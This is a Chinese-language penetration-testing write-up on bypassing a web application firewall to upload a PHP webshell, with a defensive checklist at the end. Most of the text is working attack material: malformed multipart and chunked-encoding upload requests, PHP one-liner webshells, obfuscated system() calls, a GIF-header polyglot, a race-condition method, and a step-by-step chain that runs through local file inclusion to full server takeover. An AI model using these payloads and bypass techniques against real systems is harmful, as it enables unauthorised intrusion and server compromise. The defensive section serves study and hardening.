1. 项目概述一次与WAF的“正面交锋”在Web安全测试的日常工作中文件上传功能点一直是兵家必争之地。它直接、高效一旦成功往往意味着能直接获取服务器权限也就是我们常说的“getshell”。但如今稍微有点规模的网站都会部署Web应用防火墙也就是WAF它就像一道智能安检门专门拦截像我们这样“图谋不轨”的请求。这次分享的就是一次我如何绕过这道看似严密的防线最终实现目标的完整过程。整个过程不仅仅是技术点的堆砌更像是一场与WAF规则库的“心理博弈”和“特征对抗”。对于渗透测试人员和安全开发来说理解这些绕过思路无论是为了攻击还是防御都至关重要。2. 核心思路拆解WAF的“视觉盲区”与“逻辑陷阱”要绕过WAF首先得理解它通常是怎么工作的。WAF不是神它本质上是一套基于规则正则表达式、语义分析和行为的过滤引擎。它的检测逻辑可以概括为几个层面协议合规性校验、请求内容特征匹配关键字、危险函数、特殊字符、文件内容检测文件头、幻数以及上下文行为分析。我们的目标就是找到这些检测规则之间的缝隙或者说制造一些让WAF“看不懂”或“看漏了”的请求。2.1 常见WAF检测维度分析文件名检测这是最基础的一层。WAF会检查filename参数中是否包含明显的可执行扩展名如.php,.jsp,.asp或者是否尝试使用双扩展名.php.jpg。一些高级规则还会检测是否存在路径穿越字符../。Content-Type检测检查HTTP头中的Content-Type字段。如果你上传一个PHP文件但Content-Type却声明为image/jpeg低级别的WAF可能会因此放行。请求体内容检测这是最核心、也最复杂的一层。WAF会深度扫描multipart/form-data格式的请求体寻找?php,eval(,system(等危险字符串或函数特征。它可能不是简单地匹配字符串而是进行一定程度的解码如URL解码后匹配。文件内容检测除了脚本特征WAF还会验证文件头。例如一个声称是JPEG的文件其文件头Magic Bytes必须是FF D8 FF E0。这用于防止攻击者篡改文件扩展名。流量行为与频率基于IP或会话的异常上传频率、上传后立即访问等行为也可能触发WAF的二次验证或拦截比如弹出JS挑战页。我的核心思路是多维度组合利用和规则混淆。单一的点往往很容易被覆盖但将多种技巧在同一个请求中组合使用能极大地提高绕过成功率。关键在于要让我们的恶意payload在WAF的解析结果和最终服务器端如PHP引擎的解析结果之间产生“分歧”。3. 实战绕过技巧全解析下面我将结合那次实战的具体步骤拆解几个关键且有效的绕过技巧。请注意这些技巧的生效与否高度依赖于目标WAF的具体规则版本和严格程度需要灵活组合和测试。3.1 第一层绕过协议与格式的“障眼法”这一层的目标是扰乱WAF对请求结构的正常解析。技巧一构造畸形的 multipart/form-data 边界在文件上传的POST请求中Content-Type头部会定义一个boundary字符串用于分隔表单的不同部分。WAF需要正确解析这个边界才能提取出文件名和文件内容进行检测。我们可以在这里做文章。原理如果WAF的解析器对边界字符串的处理不够健壮我们构造一个非标准或极其复杂的边界可能导致WAF解析失败从而跳过对后续内容的深度检测而服务器端的解析器如PHP的$_FILES处理模块却能正常处理。实操POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundary[这里插入大量特殊字符或换行]xyz Content-Length: ... ------WebKitFormBoundary[这里插入大量特殊字符或换行]xyz Content-Disposition: form-data; namefile; filenameshell.php Content-Type: application/octet-stream ?php eval($_POST[cmd]);? ------WebKitFormBoundary[这里插入大量特殊字符或换行]xyz--注意插入的特殊字符可以是大量的空格、制表符、换行甚至是NULL字节%00需注意编码。但要注意服务器端是否能容忍这些字符。技巧二分块传输编码这是HTTP协议的一个特性允许将请求体分成多个“块”进行传输。有些WAF可能不支持或不完全支持对分块编码请求体的实时解码和检测。原理我们将包含恶意代码的请求体进行分块编码。WAF如果只检测完整的请求体可能会因为无法重组而检测失败。但Web服务器如Nginx/Apache会先解码分块数据再将完整的请求体交给后端PHP处理。实操使用Burp Suite的“Chunked-Encoding Converter”插件可以方便地实现。你需要将请求的Transfer-Encoding头部改为chunked并移除Content-Length头然后对请求体进行分块。3.2 第二层绕过内容与特征的“变形术”当请求结构无法绕过时我们需要对payload本身进行混淆使其逃逸基于特征的匹配。技巧三等价替换与冷门函数WAF的规则库通常覆盖了最常用的危险函数如eval,system,shell_exec。但PHP提供了大量功能相似的其他函数。原理使用一些较少被列入黑名单的“冷门”函数来执行命令或代码。实操执行命令不用system($_GET[‘c’])可以尝试$_GET[‘c’]反引号操作符等同于shell_execpcntl_exec(“/bin/sh”, [“-c”, $_GET[‘c’]])popen($_GET[‘c’], “r”)执行PHP代码不用eval($_POST[‘a’])可以尝试assert($_POST[‘a’])注意assert在PHP 7.2中默认已废弃但在某些环境仍可用create_function(‘’, $_POST[‘a’])()已废弃但老系统可能存在$f ‘str_rot13’; $f(‘riny($_CBFG[‘n’]);’);这是一种简单的编码需要配合其他技巧技巧四字符串拼接与编码这是最经典也最有效的混淆方法之一。原理将关键特征字符串拆散在运行时再组合起来从而绕过静态字符串匹配。实操// 原始恶意代码?php system(‘id’);? // 混淆后 ?php $a ‘s’.’y’.’s’.’t’.’e’.’m’; $b base64_decode(‘aWQ’); // ‘id’的base64编码 $a($b); ?更进一步可以利用.连接符、chr()函数、hex2bin、base64_decode等多种方式动态生成字符串。甚至可以将关键payload放在HTTP请求头如User-Agent或Cookie中然后通过getallheaders()或$_COOKIE获取并拼接执行。技巧五利用PHP的灵活语法与标签PHP有多种标签和书写格式WAF的规则可能无法全部覆盖。原理短标签? ?是短输出标签但? ?作为短标签需要short_open_tagOn。可以尝试? echo ‘test’;?。ASP风格标签% %需要asp_tagsOn极少见但若开启则可能绕过。Script标签script language”php”echo ‘test’;/script这种写法也可能被忽略。无尖括号通过.htaccess或php.ini设置可以让特定扩展名的文件被当作PHP解析。此时文件内容可以完全没有?php ?标签直接写?php echo 1;?的“裸”代码。但上传这样的文件需要配合解析漏洞。实操在测试时可以尝试上传内容为? ‘?php’ ?的文件观察WAF的拦截情况判断其对哪种语法更敏感。3.3 第三层绕过上下文与逻辑的“欺骗术”技巧六文件头欺骗与二次渲染这是针对检测文件内容类型的WAF和后续安全处理的有效方法。原理许多应用或WAF会检查文件的前几个字节幻数来判断文件类型。我们可以在一个正常的图片文件如GIF末尾追加PHP代码。如果服务器只是简单检查文件头就会认为这是一个图片。更高级的情况是服务器会对上传的图片进行“二次渲染”如图片压缩、尺寸调整这会破坏追加的代码。因此我们需要将代码插入到图片中不会被渲染破坏的部分。实操准备一个真实的GIF图片。使用二进制编辑器如010 Editor或命令在GIF文件末尾的;结束符之后追加PHP代码?php $_GET[0]($_GET[1]);?。这样上传后文件扩展名可以是.gif但服务器如果错误地配置了MIME类型解析如AddType application/x-httpd-php .gif或者存在解析漏洞如Apache的xxx.php.jpg被解析为php该文件就可能被当作PHP执行。对抗二次渲染研究目标图片处理库如GD库、ImageMagick对特定格式文件的处理方式。例如对于GIF代码可以尝试插入到多个帧之间或注释块中。这需要更深入的文件格式知识。技巧七竞争条件攻击这种攻击不直接绕过WAF而是针对WAF之后、应用自身的安全处理逻辑。原理很多应用的上传逻辑是先允许文件上传到临时目录然后进行安全检查病毒扫描、内容检测如果安全再移动到最终可访问的目录。这中间存在一个时间窗口。实操编写一个不断上传恶意文件的脚本。同时编写另一个脚本以极快的速度去尝试访问那个临时文件路径如果路径可预测或最终路径。如果在安全检查完成并删除恶意文件之前访问请求成功到达了该文件并且该文件位于一个可执行的目录如Web根目录下攻击就成功了。这需要目标服务器的处理速度较慢且临时文件路径或命名规则存在规律。4. 我的完整攻击链实录现在我来还原那次成功的“getshell”过程。目标是一个使用某云WAF的Web应用。信息收集与试探首先我正常上传一个test.txt文件成功。然后上传shell.php立即被WAF拦截返回“您的请求疑似攻击行为事件ID...”。这说明WAF在文件名和内容上都有检测。初步绕过我尝试将文件名改为shell.php.jpg并使用Burp Suite的Intruder模块在filename参数中的php后面插入大量的空格shell.php .jpg失败。尝试修改Content-Type为image/jpeg失败。说明WAF进行了多维度关联分析。组合拳突破我决定从请求体混淆入手。我使用了分块传输编码。将上传shell.php的请求转换为分块编码格式。这一步WAF没有拦截请求成功到达服务器但返回了“文件类型不允许”。这说明WAF的请求体检测被绕过但应用自身有白名单校验只允许.jpg, .png, .gif。既然应用有白名单我采用文件头欺骗。我创建了一个内容为GIF89a?php ... ?的文件命名为shell.gif。直接上传被WAF拦截内容检测到了?php。关键步骤我将分块传输编码和字符串编码结合。首先将PHP代码混淆?php $c’s’.chr(121).chr(115).chr(116).chr(101).chr(109); $c(‘whoami’);?。然后将这个混淆后的代码附加到一个真实GIF图片的末尾。最后将整个上传shell.gif的请求进行分块编码。发送请求。这次WAF沉默应用返回“上传成功”文件路径为/uploads/202407/shell.gif。触发与getshell直接访问这个.gif文件浏览器显示了一张破损的图片因为后面有PHP代码代码并未执行。这说明服务器没有错误地将.gif当作PHP解析。我检查了应用的其他功能点发现存在本地文件包含漏洞。有一个页面可以通过参数?file../uploads/202407/shell.gif来包含上传的文件。由于文件被包含时其中的PHP代码会被服务器解析执行我通过访问这个包含漏洞的链接成功执行了whoami命令获得了Web服务的执行权限实现了初步的getshell。随后我通过该权限上传了一个更完整的Webshell进一步提权最终拿到了服务器控制权。5. 防御视角与排查建议作为防守方如何构建更坚固的防线仅仅依赖WAF是远远不够的。5.1 多层次防御策略前端校验虽可被绕过但能阻挡大部分普通用户的误操作和低水平自动化攻击。服务端白名单这是最重要的一环。严格根据业务需要只允许特定的扩展名如.jpg,.png,.pdf并且使用pathinfo或正则准确匹配扩展名而不是简单的字符串包含判断。避免使用黑名单。文件内容校验MIME类型检查检查$_FILES[‘file’][‘type’]但同样不可信需结合其他方法。文件头校验读取文件前几个字节验证其是否与宣称的类型匹配。二次渲染对图片文件使用GD库或ImageMagick进行重采样、缩放或转换格式这能彻底破坏嵌入的恶意代码。内容安全扫描对上传的文件尤其是文档、压缩包进行病毒或恶意代码扫描。存储安全重命名使用随机字符串如UUID重命名上传的文件避免被猜测路径。隔离存储将上传的文件存储在Web根目录之外通过后端脚本如readfile()来读取和交付这样即使文件包含恶意代码也无法直接通过URL访问执行。设置不可执行权限在Linux系统上确保上传目录的权限为755文件权限为644移除执行权限。WAF与日志审计合理配置WAF规则但要知道它可能被绕过。详细记录所有上传操作的日志包括原始文件名、存储路径、IP、时间、用户代理等。监控异常上传行为如频率过高、文件大小异常、扩展名异常。最小权限原则运行Web服务的用户如www-data,nginx应具有尽可能低的系统权限。5.2 开发者自查清单[ ] 是否仅使用前端JS进行文件类型验证[ ] 服务端是否使用了扩展名白名单机制[ ] 白名单校验逻辑是否严谨是否使用pathinfo($filename, PATHINFO_EXTENSION)获取扩展名并进行小写化比较[ ] 是否对图像文件进行了二次渲染处理[ ] 上传目录是否位于Web根目录外如果必须在根目录内是否配置了该目录禁止解析脚本如Nginx的location ~* ^/uploads/.*\.(php|jsp)$ { deny all; }[ ] 文件是否被随机重命名[ ] 系统是否存在文件包含、解析漏洞如Apache的AddHandler误配等其他可能被组合利用的漏洞那次绕过WAF的经历让我深刻体会到安全是一个动态对抗的过程。攻击者在不断寻找规则体系的薄弱点而防御者需要构建纵深、立体的防御体系不能将希望完全寄托于任何单一的安全产品或功能。对于安全测试者而言保持好奇心、耐心和对细节的把握将多种看似简单的技巧在合适的时机组合运用往往能打开一扇意想不到的“门”。